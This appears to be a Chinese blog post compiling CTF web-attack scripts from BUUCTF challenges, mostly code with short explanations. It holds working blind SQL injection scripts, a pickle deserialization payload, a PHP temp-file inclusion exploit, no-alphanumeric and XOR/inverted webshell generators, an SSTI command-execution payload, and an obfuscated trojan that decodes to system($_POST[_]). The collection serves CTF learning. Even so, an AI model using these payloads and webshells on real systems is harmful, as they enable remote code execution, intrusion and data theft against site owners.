常用脚本(python)
目录:
第一部分:
布尔盲注类型:
import requests url="http://32a87616-b3a4-4290-808b-9c3d3e1163d2.node4.buuoj.cn:81/index.php" for changdu in range(1,100): for neir in range(0,255): payload="1^if((ascii(substr((select(flag)from(flag)),"+str(changdu)+",1))="+str(neir)+"),sleep(0),1)" data={"id":payload} req=requests.post(url,data=data) if("Hello" in req.text): print(chr(neir),end="") break
#布尔盲注 #方案二 import requests url1="http://ee8b6c58-94d0-4c79-941f-910e3552543e.node4.buuoj.cn:81/search.php?id=" count=1 while(True): xunhuan=0 for st in range(33,127): #爆破数据库名 # payload="6^(ascii(substr((select(database())),"+str(count)+",1))="+str(st)+")" # 爆破表名 # payload = "6^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))," + str(count) + ",1))=" + str(st) + ")" #爆破字段名 (F1naI1y,Flaaaaag) # payload="6^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y'))," + str(count) + ",1))=" + str(st) + ")" # payload = "6^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())&&(table_name='F1naI1y'))," + str(count) + ",1))=" + str(st) + ")" #爆破字段名 payload ="6^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y))," + str(count) + ",1))=" + str(st) + ")" url = url1 + payload req = requests.get(url) xunhuan+=1 if("ERROR!!!" in req.text): print(chr(st),end="") count+=1 break if xunhuan == 94: break
在一个网站源代码中存在特定文件的脚本
# !/usr/bin/python # coding=utf-8 import requests import os import re import time import threading # 重写thread,让其在运行期间能返回 函数运行结果 class my_thread(threading.Thread): def __init__(self,func,args=()): super(my_thread,self).__init__() self.func = func self.args = args def run(self): self.result = self.func(*self.args) def get_result(self): try: return self.result except Exception: return None def get_params(path,re_get,re_post): get_dict = dict() post_dict = dict() try: with open(path,encoding='utf8') as file: content = file.read() get_lst = re_get.findall(content) post_lst = re_post.findall(content) file.close() for j in get_lst: get_dict[j] = 'echo "1234"' for k in post_lst: post_dict[k] = 'echo "1234"' return get_dict,post_dict except: return dict(),dict() def require(s,url,params,data): try: r = s.post(url,params=params,data=data) r.close() r.raise_for_status() r.encoding = r.apparent_encoding return r.text except: return '' def find_param(s,url,gets,posts): for m in gets: r1 = s.get(url,params={m:gets[m]}) if '1234' in r1.text: print('get params:',m) return m else: continue for n in posts: r2 = s.post(url,data={n:posts[n]}) if '1234' in r2.text: print('post data:',n) return n else: continue def main(): ''' 脚本文件夹放在PHPstudy的根目录下''' path = 'D:/ProgramFiles/phpstudy_pro/WWW/src/' start_url = 'http://localhost/src/' re_get = re.compile('\$_GET\[\'(\w+)\'\]') re_post = re.compile('\$_POST\[\'(\w+)\'\]') file_lst = os.listdir(path) s = requests.session() for i in file_lst: t1 = my_thread(func=get_params,args=(path+i,re_get,re_post)) t1.start() t1.join() gets,posts = t1.get_result() t2 = my_thread(func=require,args=(s,start_url+i,gets,posts)) t2.start() t2.join() html = t2.get_result() if '1234' in html: print(i) find_param(s,start_url+i,gets,posts) break else: continue if __name__ == '__main__': start = time.time() print(start) main() print(time.time()-start)
import os import threading from concurrent.futures.thread import ThreadPoolExecutor import requests session = requests.Session() path = "/Users/jinzhao/PhpstormProjects/qwb/web2/" # 文件夹目录 files = os.listdir(path) # 得到文件夹下的所有文件名称 mutex = threading.Lock() pool = ThreadPoolExecutor(max_workers=50) def read_file(file): f = open(path + "/" + file); # 打开文件 iter_f = iter(f); # 创建迭代器 str = "" for line in iter_f: # 遍历文件,一行行遍历,读取文本 str = str + line # 获取一个页面内所有参数 start = 0 params = {} while str.find("$_GET['", start) != -1: pos2 = str.find("']", str.find("$_GET['", start) + 1) var = str[str.find("$_GET['", start) + 7: pos2] start = pos2 + 1 params[var] = 'echo("glzjin");' # print(var) start = 0 data = {} while str.find("$_POST['", start) != -1: pos2 = str.find("']", str.find("$_POST['", start) + 1) var = str[str.find("$_POST['", start) + 8: pos2] start = pos2 + 1 data[var] = 'echo("glzjin");' # print(var) # eval test r = session.post('http://localhost:11180/web2/' + file, data=data, params=params) if r.text.find('glzjin') != -1: mutex.acquire() print(file + " found!") mutex.release() # assert test for i in params: params[i] = params[i][:-1] for i in data: data[i] = data[i][:-1] r = session.post('http://localhost:11180/web2/' + file, data=data, params=params) if r.text.find('glzjin') != -1: mutex.acquire() print(file + " found!") mutex.release() # system test for i in params: params[i] = 'echo glzjin' for i in data: data[i] = 'echo glzjin' r = session.post('http://localhost:11180/web2/' + file, data=data, params=params) if r.text.find('glzjin') != -1: mutex.acquire() print(file + " found!") mutex.release() # print("====================") for file in files: # 遍历文件夹 if not os.path.isdir(file): # 判断是否是文件夹,不是文件夹才打开 # read_file(file) pool.submit(read_file, file)
import os import requests import re import threading import time print('start: '+ time.asctime( time.localtime(time.time()) )) #输出当前日期时间 s1=threading.Semaphore(100) #线程数100 filePath = r"E:\phpstudy\phpstudy_pro\WWW\src" #为文件地址 os.chdir(filePath) #改变当前工作目录到指定的路径 #本来的工作目录在D盘,修改到文件所在地址 requests.adapters.DEFAULT_RETRIES = 5 #连接失败后重连的次数为5次,因为如果线程如果太高,可能访问有时会报错 files = os.listdir(filePath) #列出filePath路径下所有文件名 session = requests.Session() #保持会话 session.keep_alive = False #设置连接活跃状态为False def get_content(file): s1.acquire() #多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。共享数据。 #比如a要访问flag这个参数,但b正在访问,那么先暂停a,等b执行完在执行a。 print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) #输出时间 with open(file,encoding='utf-8') as f: #以utf-8打开文件 gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) #全局正则匹配,读出当前文件的所有get参数 #\$对$转义\[、\'、\]同样是转义,(.*?)以非贪婪模式匹配\' \'内的所有字符串,并分组 posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) #全局正则匹配,读出当前文件的所有post参数 data = {} params = {} #data数组存post参数值,params存get参数名 for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" #把所有的get和post参数名以键名的方式赋给data和params,并赋值echo 'xxxxxx'; #赋值echo 'xxxxxx';是为了方便我们判断此参数有没有用。 url = 'http://localhost/src/'+file req = session.post(url, data=data, params=params) #会话方式,和requests.post访问查不多,但在这里会更快,它不需要不停重新访问。 #一次性请求所有的GET和POST req.close() #关闭会话,释放内存 req.encoding = 'utf-8' content = req.text #得到所有访问的页面内容 #print(content) if "xxxxxx" in content: #如果发现存在,则继续挨个访问,并筛选出具体的参数 flag = 0 #用来判断是get请求成功,则为1,是post成功则为0 for a in gets: req = session.get(url+'?%s='%a+"echo 'xxxxxx';") content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1: #如果此时flag不为1,则说明get所有参数都不存在 for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';"}) content = req.text req.close() if "xxxxxx" in content: break if flag == 1: param = a #如果flag为1,则记录param为a,也就是此时get参数名 else: param = b print('file: '+file+" and param:%s" %param) #输出成功的文件名和参数名 print('endtime: ' + time.asctime(time.localtime(time.time()))) s1.release() #释放锁,开始下一个线程 for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start() #线程开始
import os import requests import re import threading import time print('开始时间: '+ time.asctime( time.localtime(time.time()) )) s1=threading.Semaphore(100) #这儿设置最大的线程数 filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/" os.chdir(filePath) #改变当前的路径 requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False # 设置连接活跃状态为False def get_content(file): s1.acquire() print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数 gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) data = {} #所有的$_POST params = {} #所有的$_GET for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/'+file req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST req.close() # 关闭请求 释放内存 req.encoding = 'utf-8' content = req.text #print(content) if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数 flag = 0 for a in gets: req = session.get(url+'?%s='%a+"echo 'xxxxxx';") content = req.text req.close() # 关闭请求 释放内存 if "xxxxxx" in content: flag = 1 break if flag != 1: for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';"}) content = req.text req.close() # 关闭请求 释放内存 if "xxxxxx" in content: break if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0, param = a else: param = b print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param) print('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: #加入多线程 t = threading.Thread(target=get_content, args=(i,)) t.start() 作者:很菜的wl https://www.bilibili.com/read/cv18557952 出处:bilibili
参考搬运自:
https://www.bilibili.com/read/cv18557952
https://www.freesion.com/article/5996338043/
https://www.wangan.com/docs/268
求某一个数经过MD5编码后,指定位数为指定字符:
#例如求经过MD5编码后,第一到第六位字符为6d0bc1的字符串
from hashlib import md5 for i in range(10000000): if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1': print(i)
当遇到命令注入或是文件包含等中出现过滤所有字母数字的条件时:可以利用两个非字母数字的字符通过异或运算构造字母数字的方法 或是利用URL编码取反的操作来尝试绕过:
URL编码取反:
<?php error_reporting(0); $a='assert'; $b=urlencode(~$a); echo $b; echo "<br>"; $c='(eval($_POST[test]))'; $d=urlencode(~$c); echo $d; ?>
输入时记得加~
如:(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CA%CA%A2%D6%D6); 《==》assret(eval($_POST[55]));
引用参考:BUUCTF:[极客大挑战 2019]RCE ME ——两种方法-CSDN博客
MD5编码
# 经过MD5编码后,其指定位数上的字符串等于指定字符串 from hashlib import md5 for i in range(10000000): if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1': print(i)
pickle反序列号脚本(python反序列化)
import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a = urllib.quote(a) print(a)
pickle.loads()
pickle.loads() 是 Python 中用于从序列化的字节流(serialized bytes)中加载对象的函数。它接受一个包含序列化对象数据的字节对象,并返回原始的 Python 对象。
具体来说,pickle.loads() 将字节流反序列化为原始对象,使得我们可以从文件、网络传输中接收的数据中重新构建出 Python 对象。
pickle.dumps()
pickle.dumps() 是 Python 中用于将对象序列化(pickle)为字节流的函数。它接受一个 Python 对象作为输入,并返回该对象序列化后的字节表示。
具体来说,pickle.dumps() 将一个 Python 对象转换为一个包含其序列化后数据的 bytes 对象,这样可以将其存储到文件、通过网络传输或者在程序内部进行保存和加载
urllib.unquote()
urllib.quote() 是 Python 2 中的一个函数,用于对字符串进行 URL 编码(percent encoding)。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式,以便在 URL 中进行安全传输或显示。
注意:该脚本是在python2环境下运行
参考:[CISCN2019 华北赛区 Day1 Web2]ikun 1-CSDN博客
SQL注入无列名注入脚本:
'''sys.x$schema_flattened_keys sys.x$schema_table_statistics_with_buffer sys.schema_table_statistics_with_buffer
以上三个都可以用来代替information_schema,'''
import requests url1="http://cb7df70e-5b1d-4980-b160-df0d1e587efc.node5.buuoj.cn:81/index.php" count=1 flag = '' #无列名注入
#注意:爆破数据库名、表名 与爆破字段内容不同
while(True): xunhuan=0 for st in range(33,127): #爆破数据库名 (give_grandpa_pa_pa_pa) #payload="1^(ascii(substr((select(database())),"+str(count)+",1))="+str(st)+")#" # 爆破表名(f1ag_1s_h3r3_hhhhh) # payload = "1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database()))," + str(count) + ",1))=" + str(st) + ")" #爆破表中的字段内容,先要爆破出其列数,才能继续爆破内容 payload = '1^((select 1,"'+flag+chr(st+1)+'")>(select * from f1ag_1s_h3r3_hhhhh))#' # url = url1 + payload data={'id':f'{payload}'} req = requests.post(url1,data) xunhuan+=1 if("Error Occured When Fetch Result." in req.text): print(chr(st),end="") flag+=chr(st) count+=1 break if xunhuan == 94: break
'''
payload = '1^((select 1,1,1,1)=(select * from f1ag_1s_h3r3_hhhhh))#'
payload = '1^((select 1,1,1)=(select * from f1ag_1s_h3r3_hhhhh))#'
select后面1的个数表示列数(字段),个数(列数)的正确或错误的界面不同
注意:不同位置的1,其对应的字段不同,爆破的时候要先确认好爆破字段的位置
'''
利用php7 segment fault特性(php临时文件包含)
若是遇到类似文件包含,且能查看tmp目录的情况时。可以利用利用php7 segment fault特性进行利用
php代码中使用 php://filter 的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。 使用 php://filter/string.strip_tags 导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp文件就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。 该方法仅适用于以下php7版本,php5并不存在该崩溃。
import requests
from io import BytesIO
payload = "<?php phpinfo()?>" #攻击代码
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
参考:[NPUCTF2020]ezinclude |北歌 (kinsey973.github.io)
JSON数据编码
#\uXXXX可以在JSON中转义字符,例如A与\u0041等效,A的16进制为41 str1=input('输入字符串:\n') str2='' for st in str1: str2+="\\u00"+str(st.encode().hex()) print(str2) # print(str1.encode().hex(),type)
若是对json数据中的关键字词进行过滤,可以尝试利用16进制的Unicode编码进行转义,从而实现绕过
如:php://filter/convert.base64-encode/resource=/flag
==》 \u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067
参考:[BUUOJ记录] [HarekazeCTF2019] encode_and_encode - Ye'sBlog - 博客园 (cnblogs.com)
RC4加密
import base64 from urllib.parse import quote def rc4_main(key = "init_key", message = "init_message"): # print("RC4加密主函数") s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) # print("原来的 s 盒:%s" % s_box) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] # print("混乱后的 s 盒:%s"% s_box) return s_box def rc4_excrypt(plain, box): # print("调用加密程序成功。") res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) print("加密后的字符串是:\n%s" %quote(cipher)) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) str1=input("输入:\n") # str1='''{% for c in [].__class__.__base__.__subclasses__() %} # {% if c.__name__ == 'catch_warnings' %} # {% for b in c.__init__.__globals__.values() %} # {% if b.__class__ == {}.__class__ %} # {% if 'eva'+'l' in b.keys() %} # {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /flag.txt").read()') }} # {% endif %} # {% endif %} # {% endfor %} # {% endif %} # {% endfor %}''' rc4_main("HereIsTreasure",str1)
参考:[CISCN2019 华东南赛区]Double Secret-CSDN博客
无字母数字RCE异或脚本
$hhh = @$_GET['_'];
if(strlen($hhh)>18){ //对参数长度进行限制 die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) //对参数内容进行过滤; die('Try something else!');
以上代码中对参数进行数字、字母、~等过滤,因此此处不能进行URL编码取反绕过,可以尝试利用异或编码进行绕过,加之上述代码还对长度进行限制:
可以尝试构造 $_GET[]();的格式进行调用,[]被过滤,可以尝试利用{}代替。
这可以尝试构造: ?_=$_GET{_}();&_=phpinfo (只需要对$_GET{_}();&_中被过滤的字符进行异或编码即可;后面的phpinfo是想要执行的内容,也可以是其它)
<?php function finds($string){ $index = 0; $a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255]; for($i=27;$i<count($a);$i++){ for($j=27;$j<count($a);$j++){ $x = $a[$i] ^ $a[$j]; for($k = 0;$k<strlen($string);$k++){ if(ord($string[$k]) == $x){ echo $string[$k]."\n"; echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n"; $index++; if($index == strlen($string)){ return 0; } } } } } } finds("_GET"); ?>
参考:[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)
无字母数字的webshell脚步:
1、检测上传文件中没有被过滤字符的脚步:
import requests as res
import time
def check(url,alph):
header={
'Host':'9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn',
'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'
}
data="""
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
12345{}
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"
提交
-----------------------------339469688437537919752303518127--
"""
#这里因为上传的内容还有上传按钮的值"提交",所以采用encode('utf-8'),但实际上可以去掉"提交"上传,这里也就不需要encode('utf-8')了
response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header)
while response.status_code!=200:
time.sleep(0.3)
response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header)
return response.text
url="http://9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn/index.php?act=upload"
alphs=''
for i in range(33,127):
bak=check(url,chr(i))
if bak.find("illegal",0)==-1:
print("Can use {}".format(chr(i)))
alphs+=chr(i)
else:
print("Cn't use {}".format(chr(i)))
print('[*'+alphs+'*]')
使用异或 或是 取反 脚本
pattern=input("请输入正则过滤式,没有则直接回车跳过\n") #正则表达式修饰符re.I大小写不敏感,re.M多行匹配,影响^和$,re.S使得.匹配包括换行在内的所有字符,re.U根据Unicode字符集解析字符,影响\w,\W,\b,\B if pattern != "": import re blacklist=["`","'",'"',"\\"] for i in range(32,255): if re.search(pattern,chr(i),re.I): blacklist.append(chr(i)) else: #blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入 #如果有其他的要求可以对blacklist列表进行删改 blacklist=["`","'",'"',"\\","0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"] #print(blacklist) #不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串 #如果需要获得更多拼接字符串查看该函数中的result列表 def yiHuo(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='""^""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(127,255): if(chr(i) not in blacklist): for j in range(127,255): if(chr(j) not in blacklist): if(i^j==ord(rawstr[k])): result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]]) #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):] finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):] #print(result) return(finalstr) def quFan(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='~""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(32,255): if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]): result[k].extend([hex(i).replace('0x',"%")]) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):] return(finalstr) while(True): operationEffient=True target=input("请输入待转换字符\n") while(operationEffient): operation=input("请选择操作\n1->使用异或拼接\n2->使用取反获得\n") if(operation=="1"): result=yiHuo(target) pass elif(operation=="2"): result=quFan(target) pass else: print("选择的操作无效") continue print(result)
参考:[BUUCTF题解][SUCTF 2018]GetShell 1 | 附:utf-8汉字取反得26英文字母(分大小写)字典 - Article_kelp - 博客园 (cnblogs.com)
使用非常规字符写出Shell - Article_kelp - 博客园 (cnblogs.com)
一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
[SUCTF 2018]GetShell | 北歌 (kinsey973.github.io)
无字母数字,只由 $ ( ) [ ] _ ~ ; 及汉字组成的木马:
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
===》system($_POST[_])
参考:[SUCTF 2018]GetShell-CSDN博客
PHP类中的MD5及SHA1比较绕过(常见于反序列化中)
注意:类中的MD5及SHA1绕过与平时(没有类时)的绕过不一样,它涉及PHP原生类、Error和Exception类的__toString方法。通过创建不同的Error对象但使它们的__toString返回相同值,成功绕过了MD5和SHA1的校验,最终实现payload执行,包含flag。Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7
payload:
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
参考及更详细讲解:[极客大挑战 2020]Greatphp-CSDN博客

浙公网安备 33010602011771号